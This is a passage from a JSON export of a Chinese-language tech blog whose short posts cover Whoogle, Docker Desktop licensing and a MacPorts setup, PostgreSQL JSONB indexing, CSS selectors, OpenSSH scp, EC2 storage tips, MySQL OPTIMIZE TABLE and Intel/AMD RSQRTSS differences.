    "body": "忘記在哪邊看到的連結，自架的 <a href=\"https://www.google.com/\">Google Search</a> Proxy 伺服器專案：「<a href=\"https://github.com/benbusby/whoogle-search\">Whoogle Search</a>」，對應的 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 討論串也可以參考：「<a href=\"https://news.ycombinator.com/item?id=28326180\">Whoogle Search: A self-hosted, ad-free, privacy-respecting metasearch engine (github.com/benbusby)</a>」。\r\n\r\n從 <a href=\"https://github.com/\">GitHub</a> 上的分析可以看出來主要是 <a href=\"https://www.python.org/\">Python</a> 與 <a href=\"https://flask.palletsprojects.com/\">Flask</a> 寫的，然後說明就有提到是從 Google Search 撈資料，去掉所有可能可以被追蹤的項目：\r\n\r\n<blockquote>Get Google search results, but without any ads, javascript, AMP links, cookies, or IP address tracking. Easily deployable in one click as a Docker app, and customizable with a single config file. Quick and simple to implement as a primary search engine replacement on both desktop and mobile.</blockquote>\r\n\r\n目前最新版是 0.5.4，從他列出來的 Public Instances 找了一個是最新版的測試，看起來沒什麼大問題：「<a href=\"https://s.alefvanoon.xyz/search?q=gslin\">gslin - Whoogle Search</a>」。\r\n\r\n應該可以自己在台灣架一個起來玩看看？安裝方式看起來很多，因為是 Python-based 的套件，可以用 <a href=\"https://pypi.org/project/pipx/\">pipx</a> 或是 <a href=\"https://www.docker.com/\">Docker</a> 裝起來跑，然後可以改寫「<a href=\"https://greasyfork.org/en/scripts/369804-press-g-to-google-duckduckgo\">Press \"g\" to Google (DuckDuckGo)</a>」(<a href=\"https://github.com/gslin/press-g-to-google-duckduckgo\">press-g-to-google-duckduckgo</a>) 讓他可以設定要轉到哪個 Google Search Proxy...",
    "title": "自架的 Google Search Proxy 伺服器專案：Whoogle Search"
  },
  {
    "id": "10303",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，<a href=\"https://www.docker.com/products/docker-desktop\">Docker Desktop</a> 修改了他的授權條件，對於商用版本要開始收費了：「<a href=\"https://www.theregister.com/2021/08/31/docker_desktop_no_longer_free/\">Docker Desktop no longer free for large companies: New 'Business' subscription is here</a>」，養套殺的過程...\r\n\r\n目前看到的條件是 250 人以下的公司，而且年營業額在 10m 美金以下的情況免費，另外個人、教育以及非商業的 open source 專案保持免費：\r\n\r\n<blockquote>It remains free for small businesses (fewer than 250 employees AND less than $10 million in annual revenue), personal use, education, and non-commercial open source projects.</blockquote>\r\n\r\n如果不符合的話，第一種方法是花錢繼續用 Docker Desktop，看起來最少要買 Pro 等級的方案，費用是每個人 USD$60/year 或是 USD$7/month。\r\n\r\n第二種方法是只安裝 command line 的部份，這個部份可以透過 <a href=\"https://www.macports.org/\">MacPorts</a> 或是 <a href=\"https://brew.sh/\">Homebrew</a> 的方式安裝。\r\n\r\n我自己是用 MacPorts 的方法裝，雖然有點麻煩，但因為是一次性的設定，應該還算堪用。\r\n\r\n首先是去 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 官網上面安裝軟體 (我是連「Oracle VM VirtualBox Extension Pack」都裝了)，然後就可以用 MacPorts 裝三包：\r\n\r\n<pre>sudo port install docker docker-compose docker-machine</pre>\r\n\r\n接著可以建立要跑 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 的虛擬機，docker engine 會跑在裡面：\r\n\r\n<pre>docker-machine create --driver virtualbox default</pre>\r\n\r\n然後把虛擬機跑起來：\r\n\r\n<pre>docker-machine start</pre>\r\n\r\n可以設定讓虛擬機在整台機器重開機時自動把虛擬機跑起來，但這部份就自己在網路上找文章設定了，因為我用不到... (記憶體不夠，而且平常我也不會在本機上開發)\r\n\r\n接著設定需要用到的環境變數：\r\n\r\n<pre>eval \"$(docker-machine env default)\"</pre>\r\n\r\n然後就可以跑 <code>docker ps</code> 之類的指令了，後續就如同以前常見的操作。這個設定環境變數的指令也可以考慮放到 <code>~/.bashrc</code> 之類的地方讓他在開啟 terminal 時自動設定好。\r\n\r\nHomebrew 的話應該也有類似的搞法，就請自己搜了...",
    "title": "Docker Desktop 要開始對商用收費了，以及 Open Source 版本的設法"
  },
  {
    "id": "10304",
    "body": "看到 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 官方站台上的介紹，可以直接用 <a href=\"https://www.python.org/\">Python</a> 的 <a href=\"https://pip.pypa.io/\">pip</a> 指令安裝 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> server：「<a href=\"https://www.postgresql.org/about/news/install-a-local-non-root-postgresql-server-with-python-pip-2291/\">Install a local, non-root PostgreSQL Server with Python \"pip\"</a>」，專案在「<a href=\"https://github.com/michelp/postgresql-wheel\">postgresql-wheel</a>」這邊。\r\n\r\n照 <a href=\"https://github.com/\">GitHub</a> 上面的說明跑了一下，還真的可以惡搞... 這樣如果真的要在 <a href=\"https://en.wikipedia.org/wiki/Continuous_integration\">CI</a> 裡面跑的話也簡單很多了？只要能 pip 裝軟體就能跟你拼 XDDD\r\n\r\n也省掉需要設定一些權限跑 Docker-in-Docker...",
    "title": "在本機用 pip 直接安裝 PostgreSQL server"
  },
  {
    "id": "10307",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://css-tricks.com/\">CSS-Tricks</a> 上的文章「<a href=\"https://css-tricks.com/you-want-enabling-css-selectors-not-disabling-ones/\">You want enabling CSS selectors, not disabling ones</a>」這篇，在講 CSS 的設計問題，對應的 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 討論在「<a href=\"https://news.ycombinator.com/item?id=28373840\">You want enabling CSS selectors, not disabling ones (css-tricks.com)</a>」這邊。\r\n\r\n文章裡面引用文章裡面提到的文章也都蠻值得看的：「<a href=\"https://www.silvestar.codes/articles/you-want-a-single-enabling-selector-not-the-one-that-disables-the-rule-of-the-previous-one/\">You want enabling CSS selectors, not disabling ones</a> (2021/03/08)」、「<a href=\"https://alistapart.com/article/axiomatic-css-and-lobotomized-owls/\">Axiomatic CSS and Lobotomized Owls</a> (2014/10/21)」。\r\n\r\n其中 2014 年那篇居然是 <a href=\"https://en.wikipedia.org/wiki/A_List_Apart\">A List Apart</a> 上的文章，好久沒看到了這個站了... 也發現居然不在 RSS/Atom feed 清單裡面，重新訂起來。\r\n\r\n這邊拿 A List Apart 上面的圖來說明，出自「CONTEXTUAL AWARENESS」這個段落的例子。\r\n\r\n在很多段落時，我們常使用 <code>margin-top</code> (或是 <code>margin-bottom</code>，例子可以自己變換) 來設定間距，也就是 <code>(a)</code> 的例子。但可以看到第一個元素就會「多出來」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Bgqq8t2.webp\" /><img src=\"https://i.gslin.com/imgur/Bgqq8t2.png\" alt=\"\" /></picture>\r\n\r\nA List Apart 裡面提到的解法是 <code>* + *</code> (或是 <code>p + p</code>，看你怎麼選 CSS selector)，也就是前面有相鄰的元素才需要設定 <code>margin-top</code>。\r\n\r\n回到 CSS-Tracks 上的文章，有些人會這樣指定 CSS (這邊用 <code>margin-bottom</code>，所以搭搭配的是 <code>:last-child</code>)：\r\n\r\n<pre>\r\n.card {\r\n  margin-bottom: 1rem;\r\n}\r\n\r\n/* Wait but not on the last one!! */\r\n.parent-of-cards :last-child {\r\n  margin-bottom: 0;\r\n}\r\n</pre>\r\n\r\n也就是全部都先加上 <code>margin-bottom</code>，然後針對最後一個元素拿掉 <code>margin-bottom</code>。而另外的版本則是：\r\n\r\n<pre>\r\n.card:not(:last-child) {\r\n  margin-bottom: 1rem;\r\n}\r\n</pre>\r\n\r\n或是：\r\n\r\n<pre>\r\n/* Only space them out if they stack */\r\n.card + .card {\r\n  margin-top: 1rem;\r\n}\r\n</pre>\r\n\r\n這樣就不用蓋來蓋去，可以降低 side effect：<code>margin-bottom</code> 可能會在其他地方指定，你設為 <code>0</code> 可能是不對的值；另外寫成兩組時 CSS 的優先順序其實是不同的，Mozilla 的 <a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity\">Specificity</a> 可以參考，<a href=\"https://specifishity.com/\">Specifishity</a> 這個網站給了很有趣的 cheatsheet (你要先了解才能當 cheatsheet 用)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/n83Kjb4.webp\" /><img src=\"https://i.gslin.com/imgur/n83Kjb4.png\" alt=\"\" /></picture>\r\n\r\n在文章最後面有提到 <code>gap</code> 這個用法，查了一下「<a href=\"https://caniuse.com/mdn-css_properties_gap_grid_context\">CSS property: gap: Supported in Grid Layout</a>」，看起來現代的瀏覽器應該是都支援了，不過如果要支援舊的瀏覽器的話就是問題...\r\n\r\n另外順便提一下，早期大家會偏好用 <code>+</code> 是因為 IE7+，而 <code>:last-child</code> 則是 IE9+ 了：「<a href=\"https://kimblim.dk/css-tests/selectors/\">CSS Selectors and Pseudo Selectors and browser support</a>」。雖然現在看起都是時代的眼淚了，但可以了解一下 2014 年的時候為什麼會偏好 <code>+</code> 的設計。",
    "title": "語意化的 CSS 設定 (Contextual awareness) 減少 side effect"
  },
  {
    "id": "10308",
    "body": "先前 <a href=\"https://www.percona.com/\">Percona</a> 的人在講 <a href=\"https://dev.mysql.com/\">MySQL</a> 存 JSON object 的方式，現在開始講在 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 裡存 JSON object，並且增加 index 的方式了：「<a href=\"https://www.percona.com/blog/storing-and-using-json-within-postgresql-part-one/\">Storing and Using JSON Within PostgreSQL Part One</a>」。\r\n\r\n這基本上就是不想用 <a href=\"https://www.mongodb.org/\">MongoDB</a>，但還是有需要極為彈性而選擇用 JSON object 的需求。\r\n\r\n首先先先建立一個表格，這邊直接用 JSONB：\r\n\r\n<pre>\r\nalice=# CREATE TABLE table1 (id SERIAL PRIMARY KEY, jb JSONB);\r\n</pre>\r\n\r\n接著拿「<a href=\"https://github.com/taivop/joke-dataset\">A dataset of English plaintext jokes</a>」這邊的 <code>reddit_jokes.json</code> 來玩，我先把 JSON 裡面的內容變成 JSON Lines 格式：\r\n\r\n<pre>\r\ncat reddit_jokes.json | jq -c '.[]' &gt; reddit_jokes.jsonl\r\n</pre>\r\n\r\n然後 <code>COPY</code> 了十次，多一點資料，後面可以看效能：\r\n\r\n<pre>\r\nalice=# COPY table1 (jb) FROM '/tmp/reddit_jokes.jsonl' CSV QUOTE e'\\x01' DELIMITER e'\\x02';\r\n-- (repeat this command 10 times)\r\n</pre>\r\n\r\n接著跑個 <code>SELECT</code> 看看速度，我跑了幾次大約都在 260ms 上下：\r\n\r\n<pre>\r\nalice=# SELECT COUNT(*) FROM table1 WHERE (jb-&gt;&gt;'score')::int = 10;\r\n count \r\n-------\r\n 25510\r\n(1 row)\r\n\r\nTime: 264.023 ms\r\n</pre>\r\n\r\n然後針對 <code>score</code> 生個數字的 index：\r\n\r\n<pre>\r\nalice=# CREATE INDEX ON table1 (((jb-&gt;&gt;'score')::int));\r\nCREATE INDEX\r\nTime: 1218.503 ms (00:01.219)\r\n</pre>\r\n\r\n接著再跑 <code>SELECT</code> 下去，可以看到速度快超多：\r\n\r\n<pre>\r\nalice=# SELECT COUNT(*) FROM table1 WHERE (jb-&gt;&gt;'score')::int = 10;\r\n count \r\n-------\r\n 25510\r\n(1 row)\r\n\r\nTime: 12.735 ms\r\n</pre>\r\n\r\n另外也可以加 column：\r\n\r\n<pre>\r\nalice=# ALTER TABLE table1 ADD COLUMN score INT GENERATED ALWAYS AS ((jb-&gt;&gt;'score')::int) STORED;\r\n</pre>\r\n\r\n然後可以看到速度也不快：\r\n\r\n<pre>\r\nalice=# SELECT COUNT(*) FROM table1 WHERE score = 10;\r\n count \r\n-------\r\n 25510\r\n(1 row)\r\n\r\nTime: 222.163 ms\r\n</pre>\r\n\r\n幫他補 index：\r\n\r\n<pre>\r\nalice=# CREATE INDEX ON table1 (score);\r\n</pre>\r\n\r\n速度有變快，但不知道為什麼沒有 JSONB 的版本快：\r\n\r\n<pre>\r\nalice=# SELECT COUNT(*) FROM table1 WHERE score = 10;\r\n count \r\n-------\r\n 25510\r\n(1 row)\r\n\r\nTime: 81.346 ms\r\n</pre>\r\n\r\n算是還蠻好用的，不過得學 JSON query 語法... (應該是還好)",
    "title": "Percona 連載到 PostgreSQL 存 JSON object 以及增加 Index 的方式了..."
  },
  {
    "id": "10310",
    "body": "也是因為最近 <a href=\"https://www.docker.com/products/docker-desktop\">Docker Desktop</a> 改變授權的關係 (參考先前寫的「<a href=\"https://blog.gslin.org/archives/2021/09/02/10303/docker-desktop-%e8%a6%81%e9%96%8b%e5%a7%8b%e5%b0%8d%e5%95%86%e7%94%a8%e6%94%b6%e8%b2%bb%e4%ba%86%ef%bc%8c%e4%bb%a5%e5%8f%8a-open-source-%e7%89%88%e6%9c%ac%e7%9a%84%e8%a8%ad%e6%b3%95/\">Docker Desktop 要開始對商用收費了，以及 Open Source 版本的設法</a>」這篇)，有不少人在講怎麼用 <a href=\"https://podman.io/\">Podman</a> 替代 <a href=\"https://www.docker.com/\">Docker</a>，不過要注意這邊的替代不是 drop-in replacement，而是功能上的替代。轉移的過程還是得花一些時間處理...\r\n\r\n在 Mac 上面的範例大多都是用 <a href=\"https://brew.sh/\">Homebrew</a>，我在 <a href=\"https://www.macports.org/\">MacPorts</a> 上也有看到套件：「<a href=\"https://ports.macports.org/port/podman/\">podman</a>」，看起來好像得多裝 <a href=\"https://ports.macports.org/port/qemu/\">qemu</a>，但即使把 qemu 裝起來，也還是不會動... 後續因為沒有需求，加上先前已經把 Docker CLI 的版本弄好了，暫時就沒再多研究要怎麼跑起來。\r\n\r\n另外有人寫了「<a href=\"https://marcusnoble.co.uk/2021-09-01-migrating-from-docker-to-podman/\">Migrating from Docker to Podman</a>」這篇，在「GUI Replacement」的部份還介紹了對應的 GUI 方案，也可以參考看看。\r\n\r\n跟以前的養套殺類似，都會推動一些 open source 替代方案的成熟度，以這次的情況看起來這些能量有很大一部份都會進到 Podman 裡面，對於個人用戶也可以再放幾個月看看是不是要跳槽過去。",
    "title": "用 Podman 替代 Docker？"
  },
  {
    "id": "10312",
    "body": "前幾天提到了 <a href=\"https://github.com/benbusby/whoogle-search\">Whoogle</a> 這個專案 (參考「<a href=\"https://blog.gslin.org/archives/2021/09/02/10302/%e8%87%aa%e6%9e%b6%e7%9a%84-google-search-proxy-%e4%bc%ba%e6%9c%8d%e5%99%a8%e5%b0%88%e6%a1%88%ef%bc%9awhoogle-search/\">自架的 Google Search Proxy 伺服器專案：Whoogle Search</a>」)，用 <a href=\"https://www.docker.com/\">Docker</a> 跑起來後就改寫「<a href=\"https://greasyfork.org/en/scripts/369804-press-g-to-google-duckduckgo\">Press \"g\" to Google (DuckDuckGo)</a>」這個專案，讓他可以支援設定 Whoogle，大概像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wHLu9R0.webp\" /><img src=\"https://i.gslin.com/imgur/wHLu9R0.png\" alt=\"\" /></picture>\r\n\r\n使用者可以自己設定對應的 Whoogle 伺服器，這樣應該會方便一些...",
    "title": "改寫「Press \"g\" to Google (DuckDuckGo)」讓他支援 Whoogle"
  },
  {
    "id": "10313",
    "body": "<a href=\"https://www.openssl.org/\">OpenSSL</a> 3.0 推出了，這是轉換到 <a href=\"https://en.wikipedia.org/wiki/Apache_License\">Apache License</a> 2.0 後的第一個正式版本：「<a href=\"https://www.openssl.org/blog/blog/2021/09/07/OpenSSL3.Final/\">OpenSSL 3.0 Has Been Released!</a>」。\r\n\r\n中間跳過 2.0 的原因在維基百科上也有提到，因為之前被 OpenSSL FIPS module 用掉了：\r\n\r\n<blockquote>The major version 2.0.0 was skipped due to its previous use in the OpenSSL FIPS module.</blockquote>\r\n\r\n雖然 3.0.0 看起來是大版本，不過主要的功能都在 OpenSSL 1.1.1 先加進去了，沒有什麼特別的理由現在就要升級到 3.0.0...",
    "title": "OpenSSL 3.0 釋出，使用 Apache License 2.0"
  },
  {
    "id": "10314",
    "body": "在「<a href=\"https://undeadly.org/cgi?action=article;sid=20210910074941\">By default, scp(1) now uses SFTP protocol</a>」這邊看到的，<a href=\"https://www.openssh.com/\">OpenSSH</a> 的 scp 改用 <a href=\"https://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol\">SFTP</a> 協定了，原因也有附在文章裡：\r\n\r\n<blockquote>SFTP offers more predictable filename handling and does not require expansion of glob(3) patterns via the shell on the remote side.</blockquote>\r\n\r\n要注意這是 BC-break change，有些之前會動的 case 在改用 SFTP 後會爛掉，但這算是前進了一大步，scp 因為 spec 的關係很難維護安全性。\r\n\r\n在「<a href=\"https://lwn.net/Articles/835962/\">Deprecating scp</a>」這邊也有提到相關的問題，另外也給出了一些範例。",
    "title": "OpenSSH 的 scp 改用 SFTP 協定"
  },
  {
    "id": "10315",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://laravel-news.com/\">Laravel News</a> 轉發了「<a href=\"https://laravel-news.com/aws-mistakes\">Mistakes I've Made in AWS</a>」這篇，講 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 上面的一些小常識。\r\n\r\n在 EC2 中，T 系列的機器 (目前主要是 <code>t2</code>/<code>t3</code>/<code>t3a</code>/<code>t4g</code>) 對於開發很好用，甚至對於量還不大的 production system 也很好用，加上 Unlimited 模式可以讓你在 CPU credit 用完時付錢繼續 burst。\r\n\r\n文章裡面有討論到，使用 T 系列機器時，常常是不怎麼需要大量 CPU 資源的情境，這時候 <a href=\"https://www.amd.com/\">AMD</a>-based 的 <code>t3a</code> 通常都是個還不錯的選擇，大概會比 <a href=\"https://www.intel.com/\">Intel</a>-based 的 <code>t3</code> 省 10% 的費用。另外如果可以接受 <a href=\"https://www.arm.com/\">ARM</a>-based 的話，<code>t4g</code> 也是個選項，價錢會更便宜而且在很多應用下速度會更快。不過同事有遇到 <a href=\"https://www.python.org/\">Python</a> 上面跑起來的行為跟 x86-64-based 的不同，這點就得自己琢磨了...\r\n\r\n另外就是目前的 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 預設還是會使用 <code>gp2</code>，而在 <code>gp3</code> 出來後其實大多數的情況下應該可以換過去，主要就是便宜了 20%，加上固定的 3000 IOPS。\r\n\r\n不過也是有些情境下是不應該換的，主要是 <code>gp2</code> 可以 burst 到 250MB/sec，但 <code>gp3</code> 只給了 125MB/sec。雖然 <code>gp3</code> 可以加價買 throughput，但加價的費用不低，這種需求改用 <code>gp2</code> 應該會比較划算。\r\n\r\n不過這邊推薦比較技術的作法，可以掛兩個 <code>gp3</code> (也可以更多) 跑 <a href=\"https://en.wikipedia.org/wiki/RAID0\">RAID0</a> (像是在 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 上可以透過 <a href=\"https://en.wikipedia.org/wiki/Mdadm\">mdadm</a> 操作)，這樣 IOPS 與 throughput 都應該可以拉上來...",
    "title": "Amazon EC2 上的一些小常識"
  },
  {
    "id": "10316",
    "body": "在「<a href=\"https://www.mozilla.org/en-US/firefox/92.0/releasenotes/\">Firefox  92.0, See All New Features, Updates and Fixes</a>」這邊看到支援 HTTPS RR：\r\n\r\n<blockquote>More secure connections: Firefox can now automatically upgrade to HTTPS using HTTPS RR as Alt-Svc headers.</blockquote>\r\n\r\n在「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1721132\">Enabling HTTPS RR on release</a>」這邊決定啟用的，使用的標準是「<a href=\"https://datatracker.ietf.org/doc/draft-ietf-dnsop-svcb-https/\">Service binding and parameter specification via the DNS (DNS SVCB and HTTPS RRs)</a>」這個，可以看到目前還是 draft (draft-ietf-dnsop-svcb-https-07)。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a> 是 Trust on first use，也就是在第一次連線時 server side 會送出 HSTS header，之後瀏覽器遇到同一個網站時就會都強制使用 HTTPS。\r\n\r\n如果要確保第一次也是強制使用 HTTPS，在這之前必須靠瀏覽器內建的清單 <a href=\"https://hstspreload.org/\">HSTS Preload List</a> 才能確保安全性，這次的 HTTPS RR 算是補上這個缺口。\r\n\r\n在使用者環境有 <a href=\"https://en.wikipedia.org/wiki/DNS_over_HTTPS\">DNS over HTTPS</a> (DoH) 或是 <a href=\"https://en.wikipedia.org/wiki/DNS_over_TLS\">DNS over TLS</a> (DoT)，再加上 DNS resolver 會檢查 <a href=\"https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions\">DNSSEC</a> 的前提下，整條環境就接起來了。\r\n\r\n不過實際讀了 spec 會發現 SVCB RR 與 HTTPS RR 想做的事情太多了，話說愈複雜的東西愈容易出包，先放著觀望看看好了...",
    "title": "Firefox 支援 HTTPS RR"
  },
  {
    "id": "10317",
    "body": "先前提到的 <a href=\"https://github.com/benbusby/whoogle-search\">Whoogle</a>：「<a href=\"https://blog.gslin.org/archives/2021/09/02/10302/%e8%87%aa%e6%9e%b6%e7%9a%84-google-search-proxy-%e4%bc%ba%e6%9c%8d%e5%99%a8%e5%b0%88%e6%a1%88%ef%bc%9awhoogle-search/\">自架的 Google Search Proxy 伺服器專案：Whoogle Search</a>」與「改寫「<a href=\"https://blog.gslin.org/archives/2021/09/10/10312/%e6%94%b9%e5%af%ab%e3%80%8cpress-g-to-google-duckduckgo%e3%80%8d%e8%ae%93%e4%bb%96%e6%94%af%e6%8f%b4-whoogle/\">Press \"g\" to Google (DuckDuckGo)」讓他支援 Whoogle</a>」，後來想一想還是讓沒打算自己架的人可以用好了，指到國外的 latency 還是比較高...\r\n\r\n如果你是 Chromium 類的瀏覽器，可以把搜尋引擎改成：\r\n\r\n<pre>\r\nhttps://whoogle.hasname.com/search?q=%s\r\n</pre>\r\n\r\n如果是我寫的 userscript (「<a href=\"https://greasyfork.org/en/scripts/369804-press-g-to-google-duckduckgo\">Press \"g\" to Google (DuckDuckGo)</a>」這個)，可以改成：\r\n\r\n<pre>\r\nhttps://whoogle.hasname.com/search?q=\r\n</pre>\r\n\r\n然後 nginx 這邊先 <code>access_log off;</code> 了，理論上這樣應該是差不多了？\r\n\r\n目前機器是放在客廳 (加 UPS)，之後可能會丟到台灣的 VPS 上？",
    "title": "弄個 whoogle.hasname.com 給大家玩"
  },
  {
    "id": "10318",
    "body": "在 <a href=\"https://www.facebook.com/groups/616369245163622\">Backend Tw</a> 的 <a href=\"https://www.facebook.com/groups/616369245163622/posts/2467225396744655/\">https://www.facebook.com/groups/616369245163622/posts/2467225396744655/</a> 這邊看到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AdLD27Y.webp\" /><img src=\"https://i.gslin.com/imgur/AdLD27Y.png\" alt=\"\" /></picture>\r\n\r\n先大概回答一下假設，DELETE 後的空間是可以被同一個表格重複使用的，所以應該是還好，不過離峰時間跑一下 <code>OPTIMIZE TABLE</code> 也沒什麼關係就是了。\r\n\r\n裡面提到的「<a href=\"https://dev.mysql.com/doc/refman/5.7/en/optimize-table.html\">13.7.2.4 OPTIMIZE TABLE Statement</a>」(<a href=\"https://dev.mysql.com/\">MySQL</a> 5.7 文件) 以及「<a href=\"https://dev.mysql.com/doc/refman/5.6/en/optimize-table.html\">13.7.2.4 OPTIMIZE TABLE Statement</a>」(MySQL 5.6 文件) 都有講到目前比較新的版本都已經是 Online DDL 了：(這邊抓 5.6 的文件，有支援的版本資訊)\r\n\r\n<blockquote>Prior to Mysql 5.6.17, OPTIMIZE TABLE does not use online DDL. Consequently, concurrent DML (INSERT, UPDATE, DELETE) is not permitted on a table while OPTIMIZE TABLE is running, and secondary indexes are not created as efficiently.\r\n\r\nAs of MySQL 5.6.17, OPTIMIZE TABLE uses online DDL for regular and partitioned InnoDB tables, which reduces downtime for concurrent DML operations. The table rebuild triggered by OPTIMIZE TABLE is completed in place. An exclusive table lock is only taken briefly during the prepare phase and the commit phase of the operation. During the prepare phase, metadata is updated and an intermediate table is created. During the commit phase, table metadata changes are committed.</blockquote>\r\n\r\n文件上有提到會有一小段 lock 的時間，不過一般來說應該不會造成太大問題。\r\n\r\n這邊要講的是早期的經典工具 <a href=\"https://www.percona.com/doc/percona-toolkit/LATEST/pt-online-schema-change.html\">pt-online-schema-change</a> (pt-osc)，這是使用 TRIGGER-based 的方式在跑，他的範例就直接提供了一個不需要 Online DDL 支援的版本：\r\n\r\n<blockquote>Change sakila.actor to InnoDB, effectively performing OPTIMIZE TABLE in a non-blocking fashion because it is already an InnoDB table:\r\n\r\n<pre>pt-online-schema-change --alter \"ENGINE=InnoDB\" D=sakila,t=actor</pre>\r\n</blockquote>\r\n\r\n這在早期的時候還蠻常被拿出來用的，如果還在維護一些舊系統的話還蠻推薦的...",
    "title": "MySQL InnoDB 的 OPTIMIZE TABLE 的 Lock"
  },
  {
    "id": "10321",
    "body": "看到「<a href=\"https://robert.ocallahan.org/2021/09/rr-trace-portability-diverging-behavior.html\">rr Trace Portability: Diverging Behavior of RSQRTSS in AMD vs Intel</a>」這個，作者因為在 <a href=\"https://rr-project.org/\">rr</a> 上發現 replay 不正確，發現是 <a href=\"https://en.wikipedia.org/wiki/Streaming_SIMD_Extensions\">SSE</a> 裡面的 <code>RSQRTSS</code> 這個指令在 <a href=\"https://www.intel.com/\">Intel</a> 與 <a href=\"https://www.amd.com/\">AMD</a> 平台上會有不同的值出現導致的。\r\n\r\n<code>RSQRTSS</code> 是計算平方根倒數，也就是計算 [latex]1 / \\sqrt{x}[/latex]，另外比較特別的是，這個指令不保證正確性，是允許有誤差產生的。\r\n\r\n提到平方根倒數，這個演算法更有名的應該是「<a href=\"https://zh.wikipedia.org/wiki/%E5%B9%B3%E6%96%B9%E6%A0%B9%E5%80%92%E6%95%B0%E9%80%9F%E7%AE%97%E6%B3%95\">反平方根快速演算法</a>」這個用到 <code>0x5f3759df</code> 這個魔術數字的奇技淫巧，不過這不是這次的重點...\r\n\r\n作者發現 <code>RSQRTSS</code> 在 Intel 與 AMD 平台的值不一定一樣，像是 256 的平方根導數是 1/16 (0.0625)，但兩個平台跑出來不同：\r\n\r\n<pre>\r\nOn Intel Skylake I get\r\nout = 3d7ff000, float = 0.062485\r\n\r\nOn AMD Rome I get\r\nout = 3d7ff800, float = 0.062492\r\n</pre>\r\n\r\n在這邊的 case 可以看出來 AMD 算的比較正確 (誤差值比較低)，但都還是在 spec 允許的誤差範圍。\r\n\r\n後來作者還發現有其他不同的指令也有類似的問題，為了解決在 rr 上可以正確 replay 的問題，他生了對應的 mapping table 來解：「<a href=\"https://robert.ocallahan.org/2021/09/emulating-amd-rsqrtss-etc-on-intel.html\">Emulating AMD Approximate Arithmetic Instructions On Intel</a>」。\r\n\r\n苦啊... 不過這個主題還蠻有趣的。",
    "title": "Intel 與 AMD 在 RSQRTSS 的不同"
  },
  {
    "id": "10323",
    "body": "在 <a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/mysql-zfs-in-the-cloud-leveraging-ephemeral-storage/\">MySQL/ZFS in the Cloud, Leveraging Ephemeral Storage</a>」這篇裡面在探討是不是可以看看 ZFS 在 Ephemeral Storage (機器附的本地硬碟) 上的效能。\r\n\r\n一開始測試是直接當主力硬碟來測，可以看到跑 <a href=\"https://en.wikipedia.org/wiki/ZFS\">ZFS</a> 的情況下，本地的 storage 還是會比 SSD Premium (這是 <a href=\"https://azure.microsoft.com/\">Azure</a> 的產品線) 還快不少：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zbhp4BT.webp\" /><img src=\"https://i.gslin.com/imgur/zbhp4BT.png\" alt=\"\" /></picture>\r\n\r\n但把資料放在本地的 storage 上其實有點刺激，至少在 production 應該不太會這樣搞，所以後面用 L2ARC 的方式來測，可以看到效率提昇相當明顯，甚至接近本來直接把資料放在本地的 storage：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qTp13or.webp\" /><img src=\"https://i.gslin.com/imgur/qTp13or.png\" alt=\"\" /></picture>\r\n\r\n另外測了 <a href=\"https://en.wikipedia.org/wiki/Ext4\">ext4</a>/<a href=\"https://en.wikipedia.org/wiki/Bcache\">bcache</a>，看起來效率就沒那麼好：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6Hs2ube.webp\" /><img src=\"https://i.gslin.com/imgur/6Hs2ube.png\" alt=\"\" /></picture>\r\n\r\n這樣看起來是個不錯的選擇...",
    "title": "用 Ephemeral Storage 加速 MySQL over ZFS 的效能"
  },
  {
    "id": "10324",
    "body": "在『<a href=\"https://www.plurk.com/p/ojze22\">維基媒體基金會出手清除多名「中國大陸維基人用戶組」成員。包括封禁其在全球所有維基媒體基金會項目的帳號，或是拔除在中文維基百科的管理員權限。</a>』這邊看到的消息，看起來目前都還在進行中，所以這幾天還可以繼續等看看消息。\r\n\r\n中文版維基百科的管理群裡面被中國政府以及共青團伸手進來的事情是眾所皆知，只是先前維基基金會一直都是抱持沒有確切證據不處理的態度。\r\n\r\n這次官方的正式聲明是由 Maggie Dennis 署名 (法務部門 VP)，可以參考「<a href=\"https://meta.wikimedia.org/wiki/Office_actions/September_2021_statement\">Office actions/September 2021 statement</a>」(英文版) 與「<a href=\"https://meta.wikimedia.org/wiki/Office_actions/September_2021_statement/zh\">基金會行動/2021年9月聲明</a>」(中文翻譯版本)。\r\n\r\n相關的拔權記錄可以在「<a href=\"https://meta.wikimedia.org/wiki/Special:Log/WMFOffice\">Special:Log/WMFOffice</a>」這邊看到，這邊的時間應該是 UTC，可以看到還有陸陸續續在拔。另外在「<a 